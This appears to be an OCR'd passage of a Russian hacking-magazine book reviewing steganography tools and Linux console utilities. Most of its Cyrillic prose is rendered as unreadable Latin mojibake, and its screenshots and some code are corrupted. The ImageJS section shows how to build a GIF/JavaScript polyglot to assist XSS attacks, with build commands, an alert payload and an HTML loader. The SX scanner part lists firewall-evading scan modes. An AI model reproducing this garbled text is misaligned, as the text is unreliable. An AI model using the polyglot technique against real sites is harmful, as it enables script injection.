Wupura 976 nukcener POTOMETPNHECKSS MHTEPNP..
Buicote 549 nukcenen Ungpposoe ysennueHve
Fny6uHa upera 24 Bepcws EXIF
@ann Qann
Wma cats_F png W cals jpg
Twn anemeHTa Twun anemeHra
MyTe k nanke My7e k nanke
Lfava coansHua Dara coanaxur
Rata nameHeHnn [ata uamenerun
Paamep 860 KB Pa3mep 59.6 Kb
ATPUGY THI A ATpney Tel A
OocrynHocTs OocrynHocTe
ABTOHOMHOCTb ABTOHOMMOCTL
OGuwmn aoctyn O6wmA poctyn
Bneneneu Bnageneu
KomneioTep Komnuiotep
v
Yoanerne COoNCTB i MYHOR UHBODMBLIK L] ACT el ]
Lo [ omena | [RSSEE] o 1| omewn | I

Puc. 4.13. CpaBHeHue: cnesa — T0, 4TO NOMNY4YUNOCh, CNpaBa — WUCXOAHLIW ann

SilentEye

O I[Inardopma: mobas

O TI'me cxauuBats: caiit noBepx GitHub (https://achorein.github.io/silenteye/)
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SilentEye — kpocc-matdopmennsiid codT ¢ npocTsiM HHTEpdercoM. ObnanaeT MHOXe-

cTBOM mariHoB M npuATHEIM GUI. Mcnons3yeTr coBpeMeHHbIE alrOPHTMBI CTEraHOrpa-
¢uH 1 MacKHpoBKH (pHc. 4.14).

A Silentye = ] X
FSREAIL Wietta 7

cats.jpg [x]

s
a Decode g. Property - Encode

Puc. 4.14. SilentEye

W3 oyeBHAHBIX NMPEHMYILECTB OTMEYY BBOJ MACKHPYEMOIO TEKCTa NMpPSIMO B OKHE Ipo-
rpaMMBbl BMECTO 3arpy3KH TEKCTOBBIX (aiioB U3 cropoHHero penakropa. Cepbe3Ho, du-

4a MpocTasi, a8 HUKTO J0 3TOro He poayMaics. ®opMarthl BBIXOIHBIX (aiioB KAPTHHOK —
BMP, JPEG, PNG, GIF, TIFF, 3Byka — tonsko WAV (puc. 4.15).

@ Encode message : D:/Professionat/Desktop/Programs/Work/CeraHorpadm... ? X
Media's encoding format : WB L
7 Options
Luminance interval (k) -l—_}l e * Tr Sl m
-.» JPEG quality [75% -
l)  Header position oottanagERiEi = iR
Passphrase [xxsxxsss ™ show
fDesﬁnation :|C:/Users/Professional/ SI
! ¥ use this location as defauit
Write a ge or sefect a file to hide. 238312395 octets available

e

no file selected

9 remove file |

charsSet: [UTF8 ] @ [ Enable encryptio 7 Compress data @, Cancel j .(Z_Encodej

Puc. 4.15. HacTporiku
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MOKHO HAcCTPOUTH KAYeCTBO BBIXOAHOTO H300pa)K€HHS — OHO OMNPEHEAET, CKOJBKO
noteps Oyaer npu koagupoBaHuu B JPEG.

Jlns mupoBaHHs BHEAPEHHBIX JaHHBIX npuMeHseTcs AES, Ho HacTpoek kyzna 6Gonblue,
yem y OpenStego (puc. 4.16).

&/ Preferences ? X
e .
: &7 General settings
— Default output dir :  |C:/Users/Professional/ |
‘!g Default encoding enage format : ")PEG 'l
2 Default encoding audio format : O [wave K|
7 Default charset :
G-
'E Default encryption type :
€. Cancel 2, ok |

Puc. 4.16. Hactpoviku BbixoqHoro cavina

[Ipu mpoBepke yBenuyeHHss 00bEMa MPHILIOCH HCIIONB30BaTh APYTYI0 KapTHHKY B Kaue-
CTBE HCXOIHOH, HO BUIHO, 4TO 00BbEM MMOYTH HE H3MEHMJICH, TO €CTh IporpamMMa pabora-
et 3¢ dexTuBHO (pHc. 4.17).

m CaodcTea. (ats_F jpg x m Ceodcia: cats)pg «
Oouwe B n [Momp ip Bepcun O6ape BesonacMocTy  [10ap0GHO  Mpenmuyupte Bepcun
Ceo#cTeo 3nauenme " CBoRCcTBO 3Hauenne Al
Peakocie PeaxocTs
Bananc Genoro Banawc Genoro
POTOMETPUIECKER UHTEPFIP_.. ' PoTOMETPUUECKAR WHTEPNP
Usppoeoe yaesmuenmne E | Uneposoe ysenruenne
Bepcwnn EXIF | Bepcwn EXIF
Qain | ®asin
(0] cats_F jpg Vs catsjpg
Tun anemenTa ACDSee Home 2021 JPE. Tun anemenTa ACDSee Home 2021 JPE..
MyTs K nonxe Di\ProfessionaliPacouund . | MyT™s x nanke D\ProfessionahPacouni
Dleta coanarm 03072021 1540 | Dava coansumn 03.07.2021 15.41
RoTa nanenerms 03.07.2021 1540 Dara wameneHus 03.07.2021 15:30
Pasmep 819KB | Paamep 684 KB
ATpHGY T A | ATpuGYTH A
NocrynHocTts | DocrynwocTs
ABTOKOMMOCTE | ABTOHOMHOCTb.
OB gocTyn O6uw# nocTyn
Braneney ADPHHACTPETOPL Bnaneneu LAPTOP\Professional
Korneotep LAPTOP (37107 KOMNLIOTE... .| Komnbrotep LAPTOP (3707 kOoMnibloTe...
v
Yaanewume CROACTE 1 AMYHON HPODMIOUMA i’ Yapnerine CBOACTE W IMUHOA NHGODMAUMA
ok ][ omew | RS [ o || ovws | [
[ o ][ omem | Lo || omes | [l

Puc. 4.17. CpaBHeHue: cnesa — pe3ynbTar, cnpaBa — UCXOAHbIN dann
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Pasmep ¢aiina ¢ kapTHHKOH yBeauumics Bcero Ha 13,5 KOalHT — oveHb Xopowu# pe-
3ynbTar!

VYTHIHTa MOXET CIIOKOHHO 3aMeHHTh ctapuika OpenStego. PaGoTaeT oHa 4yTh MeaeH-
Hee KOHKYPEHTOB, HO 3TO HEKPHTHYHO. T0)ke pEKOMEHAYIO.

ImageJS

O IInardopma: Linux
O TI'zme ckauuBathb: GitHub (https://github.com/jklmnn/imagejs)

ImageJS npenHa3HaueHa He COBCEM Ul COKPHITHA HH(GOpMalMH oT oaei. BMecro aTo-
ro oHa moMoraer oO6MaHbIBaTh Gpay3epsl, KOTOpbl€ COBEPIIEHHO 0OOCHOBAHHO MpenIo-
J1araloT, 4TO B BaJIMIHBIX KAPTHHKAaX HHYETO MOCTOPOHHETO OBITh HE JOMKHO.

Image]S mo3BonseT co3aaTh KapTHHKH, KOTOPhIE OOHOBPEMEHHO MpPEICTABIAIOT COOOH
HacTosAlHre JS-CKpUNTHL. DTO HYXXHO, YTOOBI YNPOCTHUTH MpOBeaeHHe 0ojiee OMacHBIX
XSS-arak, B KOTOpBIX HHOrAa TpeOyeTcs MOATPY3HUTh CKPHIT HMEHHO C aTaKOBaHHOI'O
JoMeHa. BOT TyT Ha moMolb MPHXOJUT BO3MOXHOCTh 3arpy3HTh Tya aBaTapKy, KOTopas
OIHOBpPEeMEHHO coxepxHT JavaScript payload ans maneHeimei araku. [Iporpamma mon-
nepxxuBaeT BHegpenue B popmatel BMP, GIF, WEBP, PNG u PDF.

IIJIH C60pKH HY>KHBI ITaKE€ThI build-esential H cmake. IIaane BC€ IIPOCTO:
git clone https://github.com/jklmnn/imagejs.git

cd imagejs

mkdir build

cd build

cmake

wv» v »v »n n AN

make

HaBaii co3naauM script.js CO CIEOYIOUIMM KOJOM, a IOTOM YIaKyeM ero B image.gif:
alert ("Hello, Xakep!");

Teneps BBHITNIOIHH B TEDMUHAJIE:

./imagejs gif script.js -i image.gif
Ha BeIxoge OyneT ¢aiin ¢ IBOAHBIM pacIIMpeHHEM, HO 3TO He Oena.

Ceiiyac MbI mpoBepuM Bce B aene! Co3ngaBait HTML-cTpaHHuKy cO CleayIOmHM KOAOM H
COXpaHsAH ee pAIOM C HallleH 3apsKEHHOH KapTHHKOH.

<html>
<title>Knock, Knock, Neo</title>
<head>
<img src="script.js.gif" alt="Matrix">
<script src="script.js.gif"></script>
</head>
</html>

CoxpaHsieM U OTKpbIBaeM. [JJO/DKHO MONMy4YHThCS Kak Ha CKpHHIIOTE (pHc. 4.18).
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Puc. 4.18. XSS uepe3 GIF

Pa3Mep kapTHHKH MOYTH HE MEHSETCS, YTO HaM O4eHb Ha pyky (pHc. 4.19).

w
Obupre Beaonacwocts [10OPOBRO  [penmayuve Bepcum
CsoAcTB0 3nauenne A
U3obpaxenve
Peapewenve 320 x 240
Uhpura 320 nukcenen
Buicota 240 nuxceneR
Fny6whe useta 8
Dann
Wmr scupts gif
Twun anementa
MyTs k nanke
DOate coansHma
Nerts nameHewnnn
Peamep 952 K6
ATpuBy T A
DocTtynHocTs
ABTOHOMHOC T
OGuma aoctyn
Bnanenen
Komneorep
vi
Yaanenme c80ACTS v IMSHON HHDODMALNM
0K Otmens Clpunmens

B

| Obuwe BesonacrocTs (104PAGHO  [peasuaywme Bepcvn
CeoAcTBO 3Hauerne A
i
U306paxenve ;n |
Pa3zpewerve 320x240 I
WnpuHo 320 nuxcenen K
Buicote 240 nukcenen "q'.
fny6wna useta 8 ’?
Dain ia
0] wmage gif A

Tun anementa
Nyte k Nanxe

[aTa co308HnA
[late nameHenns
Paamep 952 KB
AvpuBy T A
DoctynHocTs
ABTOHOMHOCTL
O6wna gocTyn
Bneneneu
KomMnboTep

Yaanew

CBOACTS ¥ INUHOA NHPOPHBLMIA

Puc. 4.19. Haikgu otnuyve

l'[porpamma LUIMKapHa, XOTb H NIPUME€HHUMA TOJIBKO B OYE€HBb Cl'leLlH(bH'{HbIX heiax.

BbiBoAabl

3aMeHHUTh Kpocc-ruiaTdopMeHHbIH U Oorateiii puyamu OpenStego cloxkHO, HO MPH Ke-
naHud MoxHo. SilentEye OyneT HennoxuM BeIOOPOM, HO M YTUIMTKH Anekcanapa Msc-
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HHUKOBAa TOX€ peKOMEHAYH monpoboBaTh, ecnu y Tebs Windows. Eciu ke Ter danat
KOHCOJIM HJIM MAaCTEpHIUb KaKyH-TO aBTOMAaTH3HPOBAHHYK CHCTeMY, TO Tebe MOXeT
NIPUIOAMTECS OJMH M3 BADHAHTOB, HanMcaHHbIX Ha Pyhton (puc. 4.20).

Pa3mep, KB
Hassanue Sopmars (ac/nocne) GUI oc Wudpbi
Cloakify ‘EXE, JPG, ZIP, WAR, DOC, XLS 64/430  wer Mobas Base64
Steghide JPEG, BMP, WAV, AU 64,64/64,654  Her Nioban  Blowfish
Spe:trolongBMP, WAV 1530/1574  Wer Mobas Het
Image)S BMP, GIF, WEB, PNM, PGF 952/952  Her Moban  Her
ImageSpyer BMP, TIFF, JPEG, WMF, EMF 59/1530 A3 | Windows8/10 Haval, MD, RipeMD, SH
OpenStego BMP, GIF, JPEG, PG, PNG, WBMP 59/860  Aa Mio6an  AES128/256
RedJPEG JPEG 59/60 pa Windows AMPRNG, Cartman 2
StientEye BMP, JPEG, PNG, GIF, TIFF 68/82 aa Mobas  AES128/256

Puc. 4.20. CpasHuTensHana Tabnuua

B tabnuue s cBes BOEOHHO HHPOpPMALHIO 00 YIMOMSHYTBIX NMPOrpaMMax M MPOTECTHPO-
BaJI cTeraHorpag¥poBaHue B KApTHHKH TekcToBoro (aina pasmepom 1,07 K6airT.
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Marusa koHconu.
NMoabupaem nonesHble YTUMUTDI
Ans paboTbl B TepMUHanNe

Mapk bpyukuu-Cmemnkoeckul

«3T0 uTO, MaTpHULa?!» — BOCKIMKHET KTO-TO U3 3HAKOMBIX, I/ Yepe3 TBOE II1eY0o Ha
3KpaH HOyTOyka. Her, He MaTpHua, MPOCTO THI YTO-TO CYJOPOXXHO I€YaTaellb B TEPMH-
Hane. B 3Toii rnaBe s mokaxy tebe Oonble IBYX AECATKOB YTHIHMT, KOTOPbIE MOMOTYT
paboTaTh ¢ KOMaHAHOH cTpoko# Linux 6onee 3¢ dexkTHBHO, MPUATHO U JaKke KPacHBO.

Cucrtema

Pueue

YTunura Pueue (https://github.com/Nukesor/pueue) — HHTepecHas wTyKa 1A 3amyc-
Ka JONrHX 3agay U Aas paboTsl C CO3JaHHOM ouepenblo 3a4ay B cucteMe, koHeuHo. Hyx-
Ha AN TeX, KOMY BIIOJIHE OYEBHAHBIX A TaKMX ciydaeB jobs/fg/bg/screen/tmux mo ka-
KOH-TO MPHUYHMHE OKa3bIBae€TCA HEOOCTATOYHO (pHuc. 5.1).

Kak numyr camu paspaboruuku, Pueue HyxeH, koraa 3ajadyd o4eHb JOArHe OO0 HX
HYXXHO BBINIOJIHATH NAapajlieNIbHO, UMEs NP 3TOM IOJHBIH KOHTPOJIb Haa HUMH. JIMYHO
MHE YTHJIMTa [TI0Ka3anaack HaMHOTro 6osee OpyXentoOHOH, YeM IITaTHBIN bg/ fq.

Crongo (https://github.com/snipem/crongo) — elue ogHa nonbiTka co3aatb YAOOHbIA UH-
CTpyMeHT ans paboTbl ¢ cron. YTunuta genaet NpuMepPHO TO Xe camoe, 4To Pueue, Tak 4To
MOXET B HEKOTOPOM CMbIcne ObiTb anbTepHaTUBOW.

NQ

Nq (https://github.com/leahneukirchen/nq) — eme oaHa nmpocTas YTHJIHTa, KOTOpas
N03BOJIAET 3aMycKaTh odepenH U3 3ajaHui B cucrteMe. He To uTo6bl 6e3 Hee OblIO He-
BO3MOXXHO XHTb, HO [TIOPOH OYEHBb CHUJIBHO [OMOTraeT. BeIraauT KyJa MeHee MpUBIeKa-
TeNbHO, 4eM Pueue, HO 1 B paboTe mpoiue.



Pwuc. 5.1. [lemo u3 penosutopus

OHa HacTOJIBLKO NpocTas, 4TO 4Jis1 €€ HCIIO0JIb30BAHHUA JOCTATOYHO MPOCTO YBHACTH IIPUMEP!:
% mkdir -p /tmp/downloads

% alias gget='NQDIR=/tmp/downloads ng wget'

% alias gwait='NQDIR=/tmp/downloads fq -q'

windowl% gget http://mymirror/bigl.iso

window2% gget http://mymirror/big2.iso

window3% gget http://mymirror/big3.iso

% gwait

. wait for all downloads to finish ...

Vizex

Ecnu Tbl paboTaeiub B TepMHHalE 0JbLIE HEOENH, Thl, KOHEYHO, 3Haellb O df H €ro cy-
X0oM BbIBOJE. [laBait pa3ykpacuM ero M caenaeM Ginxe k moasam!

Vizex (https://github.com/bexxmodd/vizex) u vizexdf — 3To anrpedin df, KOTOpbIH
BBITIOJIHSAET CBOIO 3aJavy KyJa HarjisHee U npUsTHee BHelHe (puc. 5.2).

bashtop

B dunpMax o xakepax JI0AH BUOAT OTPOMHBIE CBOOHBIE TaONIHLIBI ¢ MHQOpMaLIHEH O CHUC-
TeMe W TpapukaMH, a y Tebs ux no cux mop Her? He OGema! JloBu bashtop
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(https://github.com/aristocratos/bashtop) — 3to kak pa3 takoit gam6opa. Ecnu y Tebs
BAPYT €CTh CBOOOIHBIH MOHHTOD, HAa KOTOPBIH €ro MOXHO MOBECHTb, — Thl 3HAEIb, KaK
no6asuth +1000 k cBOei THKaHYTOCTH B IJ1a3ax rnocerurenei (puc. 5.3).

Total: 63.9 mb Used: 2.4 mb Free: ©61.4 mb

Puc. 5.2. Kak BbirnapuT vizex

Puc. 5.3. Paboraer!

Bashtop yMeeT noka3bsiBaTh He TOJBKO OOIIYI0 HHGOpPMALHIO, HO U JETaNH M0 KaXIOMY
npoueccy. [To3BonseT 3TH mpolecchl COPTHPOBATh M0 pa3lHYHBIM MapaMeTpaM H JIerko
KOHQHUIypHpYeTCSL.

A eme ecTb peanu3auMs I3Toro  KpacaBua Ha Python —  bpytop
(https://github.com/aristocratos/bpytop). Beirnaaut ne menee a¢pdexTHo, Aa ¥ 110 BO3-
MOXHOCTAM HE OTCTaeT.



Rhit

3aHATHas KOHCOJIbHAas YTWIHTa JUIs aHanu3a JioroB nginx. Bcerpewait Rhit
(https://dystroy.org/rhit/) — 310, koHeuHO, He GoAccess (https://goaccess.io/), HO BbI-
TJISAIMT TOXE HHTEPECHO.

YMeeT pucoBaTh rpaMKH YacTOTHI 3alIpOCOB MPSMO B KOHCOIH (pHC. 5.4).

Puc. 5.4. CkpuHbl CThIpEHbI C CaiATa nporpamMmbl

Puc. 5.5. CkpuHbl CTbIpeHbI C cCailTa Nporpammbl
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EcTp aHanu3 TpeHaoB B 3anpocax U yNoOHbIA rpaguyeckuii BBIBO 3TOTO B KOHCOIIb.

KoHeuHo xe, Bce MOXHO (QUIBTPOBATh, 4TOOBI OTCIEXUBATH TOJIBKO HEOOXOOHMOE.

Lnav

Lnav2 (https://github.com/tstack/Inav) — 3T0 aHanu3aTOp JIOrOB, KOTOPBIA YMEET pa-
6oTaTh He TONBKO C nginx, B oTiM4ue ot Rhit. BOT cniucok ero 10CTOMHCTB:

a

o

MOJKET CBOIOHMTH BCe TpeOyeMble JIOTH Ha OOMH 3KpaH (puc. 5.6). Tl MoXellb 3a1aTh
MOHHUTOPHHT JIOTOB Cpa3y HECKOJIBbKHX CEPBHCOB, U OH MTOKAXET BCE Cpasy;

yMEET MOICBEYHUBaTh TEKCT mo ¢opmary. MiMeeTcs mecsaTh BCTpOEHHBIX (HOpMATOB,
B TOM YHCJI€ OIUH «OOILHIi», TO €CTh MOAXOIAIIHUHA MOYTH K 1I000MY JIOTY;

AaBTOMATHYECKH OINpeleNseT CKaThle JOoru B popMarax gzip u bzip2 u pa3KUMaeT UX
Ha JIeTy;

yMeeT (UIBTPOBATh Ha OCHOBE PEryJISPHBIX BhIpakeHHH. ECM BRIBOIUILE MHOTO JIO-
rOB Ccpa3y, — MOXHO OTQHIBTPOBATH JIHLIHEE;

MOXET CTPOHUTh THCTOrPaMMBbI COOOILEHHH [10 BPEMEHH;
kpacuBo BeiBOOUT XML u JSON. IIpocto Haxxmu Shift+P;

K JloraM MOXHO oOpamaTthcs Kak K BUpTyanbHo#i SQLite B/, koTopas o6HoBisAeTCA
BMECTE C JIOTaMH B pEaJlbHOM BPEMEHH;

Inav nognepxuBaeT pasHsle TeMbl 0QOPMIIEHHS CBOETO HHTEpdeEHca;

IpH BBOAE€ KOMAH/ TAKXXE€ €CTh NNOACBETKA CHHTAKCHCA U aBTOOOINOJIHEHHE.

Puc. 5.6. Inav pa3bvpaeT norn sshd

Ipsimo Ha caiite (https://Inav.org/) ecth rotoBble OMHapHUKH noxa Linux u macOS: Bu-
JIHMO, 3TO Ha CJIy4aii, eciu TBOH cepBep — CTapbli MakOyk.



Butterfly Backup

Butterfly Backup (https://matteoguadrini.github.io/Butterfly-Backup/) — 310 Takas
UHTepecHas o0epTKa BOKPYT ISync, KOTopas yMeeT cO3/1aBaTh M BOCCTaHaBJIMBaTh 03Ka-
nbl. CIMCOK yMEHHUH NeHCTBUTENBHO BHYIMTENbHBIH:

O noaaepxxka Tuxoro 63kamna;

Bce 09Kamnbl aKKypaTHO pacCOPTHPOBaHbI;

IPOCMOTp CBEIEHHH O KOHKPETHOM O3Kare;

NOAJEpKKa pa3sHbIX PEXKHMOB KOTHPOBAHHUS;

MOXHO 0O3KanuTh cpa3y HECKOJILKO KOMIIOB, IPUYEM MapalIeNbHO;

MO>XHO BOCCTAHABJIMBATb KOITHIO Aa>X€ HE HAa TOM KOMIIbKHOTEPE, II€ OHA Obli1a co3aaHa.

agaoaoaagaaag

Teopernuecku 310 MOXeET ObITh MOJIE3HO NMPH MHUIPALIUM Ha HOBOE 00OpYyIOBaHHE.
Bonee Toro, MOXXHO BOCCTAHOBHUTB O3Kam Jake Ha APYroi onepalHoOHHON CHCTEME;

a

NOAACPKUBAKOTCA IMOJIMTHKH OTHOCHUTEJIBHO CTAapbIX 03KamnoB: UX MOXHO yAaJsTh 1o
JAOCTHXXCHHUH JIMMHUTA 3aHATOIO XpaHHUJIUILA,

O skcnopt 63kanoB 1A yA00HOH nepeBo3KH CTOPOHHUMH CPEACTBAMH.

YcranoButh Butterfly Backup MoxHO Bcero B Tpu KOMaHbl:

git clone https://github.com/MatteoGuadrini/Butterfly-Backup.git
cd Butterfly-Backup

sudo python3 setup.py

HpHMCp HUCITOJIb30BAHHA OT aBTOpA YTHUIIUTBI:

# [NosHaa xormsa

bb backup --computer pcl --destination /nas/mybackup --data User Config --type
MacOS --mode Full

# JHKpeMeHTaJIbHasA KOMUA

bb backup --computer pcl --destination /nas/mybackup --data User Config --type
MacOSs

Ecnu nmpocMOTpeTh CIMCOK KOMUH KOMaHAOM bb list --catalog /nas/mybackup, TO
MO>HO YBHJIETh KPATKOE ONHUCAHHE Ka)J0ro CHATOro 63karna.

BUTTERFLY BACKUP CATALOG

Backup id: f65e5afe-9734-11e8-b0bb-005056a664e0
Hostname or ip: pcl
Timestamp: 2018-08-03 17:50:36

Backup id: 4£f2b5f6e-9939-11e8-9ab6-005056a664e0
Hostname or ip: pcl
Timestamp: 2018-08-06 07:26:46

Backup id: cc6e2744-9944-11e8-b82a-005056a664e0
Hostname or ip: pcl
Timestamp: 2018-08-06 08:49:00
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TyT OTCYTCTBYIOT HEKOTOpBIE BakKHbIE NETajlIH, TAK YTO JaBail IOCMOTPUM Ha OJAHH U3
HHUX noOJIHXe.

bb list --catalog /nas/mybackup --backup-id f65e5afe-9734-11e8-b0bb-
005056a664e0

Backup id: f65e5afe-9734-11e8-b0bb-005056a664e0
Hostname or ip: pcl

Type: Full

Timestamp: 2018-08-03 17:50:36

Start: 2018-08-03 17:50:36

Finish: 2018-08-03 18:02:32

0S: MacOS

ExitCode: 0

Path: /nas/mybackup/pcl/2018 08 03_ 17 50
List: etc

Users

U nakoHel, BOCCTaHOBJIEHHE:

bb restore --computer pcl --catalog /nas/mybackup --backup-id f65e5afe-9734-
11e8-b0bb-005056a664e0

CKpunTbl
Bash Bible

Jlns HAYMHAIOWIKX U NPOJOJIKAOLIMX JKUIIBLOB KOHCOMHU CcyliecTByeT cepBuc Bash Bible
(https://github.com/dylanaraps/pure-bash-bible) (u ero poaHoii Opar sh bible
(https://github.com/dylanaraps/pure-sh-bible)): Tam npexncraBneHsl npumepsl peanu-
3allMH pa3HbIX 3a7a4 B CKPHIITaX, HATHCAHHBIX HCKIIOYUTENIBHO Ha yicToM Bash (1w sh).

Yrobbl ganeko He XOAUTh — BOT Tebe mapoyka nmpuMepoB 00xoaa Bcex (aiioB U Manok
B JUPEKTOPHH HA YHCTOM Bash 0e3 ucnonp3oBaHus 1s.
# Greedy example.
for file in *; do
printf '$s\n' "$file"
done

# PNG files in dir.

for file in ~/Pictures/*.png; do
printf '$s\n' "$file"

done

# Iterate over directories.
for dir in ~/Downloads/*/; do
printf '$s\n' "$dir"

done
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# Brace Expansion.
for file in /path/to/parentdir/{filel,file2,subdir/file3}; do

printf '$s\n' "S$file"
done

# Iterate recursively.

shopt -s globstar
for file in ~/Pictures/**/*; do

printf '%s\n' "$file"
done

shopt -u globstar

Bbino 66l HENpPaBUNbLHO HE YNOMAHYTL CBALLEHHBLIM zsh ¢ nnarmHom oh-my-zsh u kacTtom-
HbiMKU Temamun. Huuero ynobHee ans TepMuHana Tak U He npugymanu, a Mbl Ha «Xakepe»
yxe nucanu (https://xakep.ru/2017/05/18/cli-console-tips/) o Hem. HacTtoaTenbHO peko-
MeHAyeTCA k 03HakomneHuto!

TONE3HbLIE OQHOCTPOYHUKH

Y MeHs B 3aknagkax nexwTt wuHTepecHbit pecypc (https://linuxcommandlibrary.com/
basic/oneliners.html) ¢ pa3Hoo6pa3HbiMM OoaHOCTPOYHUKAMKU — 3Takas Bubnuoteka ko-
MaHz Ha BCE Crny4au XWU3HW.

Bor, Hanpumep, kak cmoHTMpoBaTb NTFS pasaen ua suptyansHoro aucka VirtualBox (VDI):

$ mount -t ntfs-3g -o

ro, loop, uid=user, gid=group, umask=0007, fmask=0117, of fset=0x$ (hd -n 1000000
IMAGE.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) IMAGE.vdi /mnt/vdi-
ntfs

Conty

Ecnu ThI nocTosiHHO paboTtaelb B TepMHHAale, — nopoi Tebe ObIBAlOT HYXKHbI U30JUPO-
BaHHble necoyHulbl. Hekotopble aenatot ux uepe3 Docker, co3naBas koHteiiHep ¢ OC u
KOMHUPYs Tylda-croAa ¢aiasl nporpamMMsl; pyrue co3naroT chroot-okpyxeHue u pabora-
10T B HeM. O6a cnocoba TpebyroT 60/1b1IOro KOJHMYECTBA LIATOB U HAJIMYUA root, TaK 4To
NPUMEHATH UX HEYOOOHO.

Beixon ects! MHctpyment Conty (https://github.com/Krondek/Conty) nenaer 3anyck
NECOYHMLIBI JIETKMUM U ObICTpBIM. [Ins 3amycka koHTeiiHepa He Tpebyercs root, a daiinsl
0CJIE BBIXOZA U3 MECOYHUILIBI COXPAHSIOTCS.

Hpeumymecm MO>KHO BbIJA€JIUTh HECKOJIBKO!

Qououoaaaq

BCEro oJuH HcnonHsAeMbli daitn. Hukakoit 06Ba3ku — ckavan u pabotaeuib;

cobpaH Ha 6a3e Arch Linux, To ecTb cpa3y cooepXkHT aKTyajbHble BEPCHH NpaiBepOB;
He TpebyeT root-npas A1 3anmycka;

conepxut Vulkan u OpenGL, TO €CTh MOAXOIUT AJIA UIp;

pabotaer 6e3 oBepxena — 310 Tebe He BUPTyallbHas MallIHHa;

nzomupyer OC xocTa, HO obecneynBaeT yaA0OHOE B3aUMOJEHCTBHE MECOUHHIIBI C XOCTOM.
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Jns paboTel HEOOXOIUMO BCEro HUYErO: tar, fuse2, coreutils U bash.

[IpuMep 3amycka OT aBTOpa:

./conty.sh steam
./conty.sh lutris
./conty.sh playonlinux
./conty.sh wine app.exe

Cetb

SX Network Scanner

Ilo 3aBepenusMm pa3pabotunkoB, SX Scanner (https://github.com/v-byte-cpu/sx/
releases) — 3To uyTh JIM HE Ha roJIOBY Jy4lias ajabTepHaTuBa Nmap. Bot cnucok npen-
naraeMblx Quu:

O B 30 pa3 6bicTpee Nmap;
ARP-ckaHHpOBaHHE [1JIs TOUCKA XKHUBBIX XOCTOB B JIOKAJIbHBIX CETAX;

ICMP-ckanupoBaHue 1i1s 1eTekTa npasui ¢paipBoia;

Qaag

kiaccuueckoe TCP SYN ckanupoBaHHe (CKaHHUPOBaHHE C ITOMOILBIO TOJYOTKPBITBIX
COeTMHEHHH) 1J1s TOUCKA TIOPTOB;

a

CKaHUpoBaHHe I8 o0xonga HekoTopslx ¢akpBonoB ¢ ucrnons3oBanueM TCP FIN,
NULL u Xmas naketoB. To ke camoe yMeeT 1 Nmap, kak Tbl IOMHHIIb;

O MOXXHO BpYUYHYIO YCTaHOBHUTh Kakve YroaHo ¢uiard B akeTax CKaHHPOBaHHS, a B OT-
yeTe Nony4duTh ¢uiard oTBeToB. JIOBOJILHO HHTEpecHas ¢puya, KOTOpYIO s Oosblie HU-
rae He BCTpeyasl, HO U HH pa3y B HeH He HyXJaJcs, €CIIH YECTHO;

¥

command]

ble Commands:

ON output

- for sx

Puc. 5.7. CnpaBka sx
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O nouck naxe UDP-noproB. HanexHocTth moucka, camo co0oid, OCTaBISET >XenaTh
nydulero, Ho ucnonb3oBanue ICMP ans yTouHeHHs pe3ynbTata — OJHO3HAUHBIN
IJII0C;

O ckaHMpOBaHHE HEKOTOPBIX NMpUIIOXKEeHHUH: croaa BxoaaT Docker, Elasticsearch u SocksS5.
Hns Docker uwercs otkpbithiii Docker API, yepe3 koTopblii uutaercs uHdpopmauus
o Hogxe, ans Elasticsearch Beirpyxaercs nHbopmanus o kjactepe M €ro HHAEKcax.
C SocksS Bce coBceM npocto — sx cooduaer Tonbko ¢akt paborsl SocksS 6e3 ka-
KuXx-11u60 noapobHocTeil;

O pe3ynbratel BeiBOAUT B JSON — Bce kak y monei! KoHeyHo, U )11 aBTOMaTHYECKOi
06paboTku 310 Kyaa yaobHee.

SX paboraer u3 TepMHHana (kak, BOpoyeM, OOJBLUIMHCTBO PACCMOTPEHHBIX CErOIHA
NporpaMM) U MOJHOCTBIO HanucaH Ha Go, 4eM MOXXHO OOBACHUTH ero OpicTpoaeHCTBHE
(puc. 5.7).

Gping

Ellle 0IMH KpacHBbIH HHCTPYMEHT B TBOK KOMHIIKY «IceBIorpadu4ecKux CBUCTOMeEpe-
J0k» — ping ¢ Bu3yanu3auueii (https://github.com/orf/gping) npsiMo B okHe TepMHHaNa
(puc. 5.8).

Puc. 5.8. ilemo n3 penoautopus

grepcidr — aHanus IP-appecoB

Vrunura (https://github.com/frohoff/grepcidr) nns tex, koMy yxe Hazoeno mucartb
peryJspku A noucka IP-agpecos ¢ nomoltubto grep. Paboraer oHO HECKOIBKO LIYyCTpee,
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4YeM grep, HO, UTOOBI Hy)XHa ObUIa OTIENbHAS YTUINTA, Yy T€OSA JOKHO ObITH AeHCTBH-
TeJIbHO MHOT0 pabots! ¢ IP-agpecamu.

sish

Korna Tebe Hy»HO npoOpOCHTh KaKOH-TO CEPBHUC B HHTEPHETE, MPH ITOM HE UMES YECT-
Horo «6esnoro» IP, Tel MOXellb BOCNONIb30BaThCA cepBHcamu Bpoae Ngrok mnu Serveo.
AnbTepHaTuB nmo GonblioMy cyety HeMHoro: roabii SSH uam kycrapueie self-hosted-
peLLEeHHUS.

TYHHENUPOBAHHWE YEPE3 SSH

Tbl, KOHEYHO, 3Haellb O BO3MOXHOCTWU npobpackiBaTb nopTbl Yepe3d SSH. A 4yTo Hacyer
nonHoueHHoro VPN? Ha 3Ty TeMy eCcTb OTNMYHbIA  maTepuan Ha Xabpe
(https://habr.com/ru/post/331348/) n wHa Robotmoon (https://robotmoon.com/ssh-
tunnels/), ecnu Tbl 3HaewWwb aHrNUIACKMA. BnpoyeM, TekCT npunpaeneH KapTMHKAMKU CO Cxe-
Mamu paboTbl koMaHa, a Bce npumepbl MOXHO 6e3bone3aHeHHo 3anycTuTb y cebs u nonpo-
6oBaTb B AeNCTBUWN.

K TakuMm camozaenkam otHocurcs u npoekr sish (https://github.com/antoniomika/sish) —
KpacuBas U ynobHas ansTepHaTtuBa Ngrok, caenanHas nosepx o6siyHoro SSH.

Sish — 310 He npocTo nauka ckpunToB s 3anycka SSH-dbopBapmHra. 310 NOMHOLEHHAS
peanusanus SSH-cepBepa, KOTOpbIH TONbKO GOpBapaHHI U 3HAET, 3aTO JENAET 3TO Kyna
mydiue, yeM ouUHaNbHO pacnpocTpaHsemas Bepcus. B yacTHoctH, sish ymeer cnymarts
u MynbsturiekcupoBatse HTTP- u HTTPS-tpaduk ¢ nognepxkkoit WebSocket (B Tom
yuce WKrdpoBaHHOI0), ECIH NPH 3anycke popBapaHHIa yka3arth yaaneHHbIH nopt 80 uiu
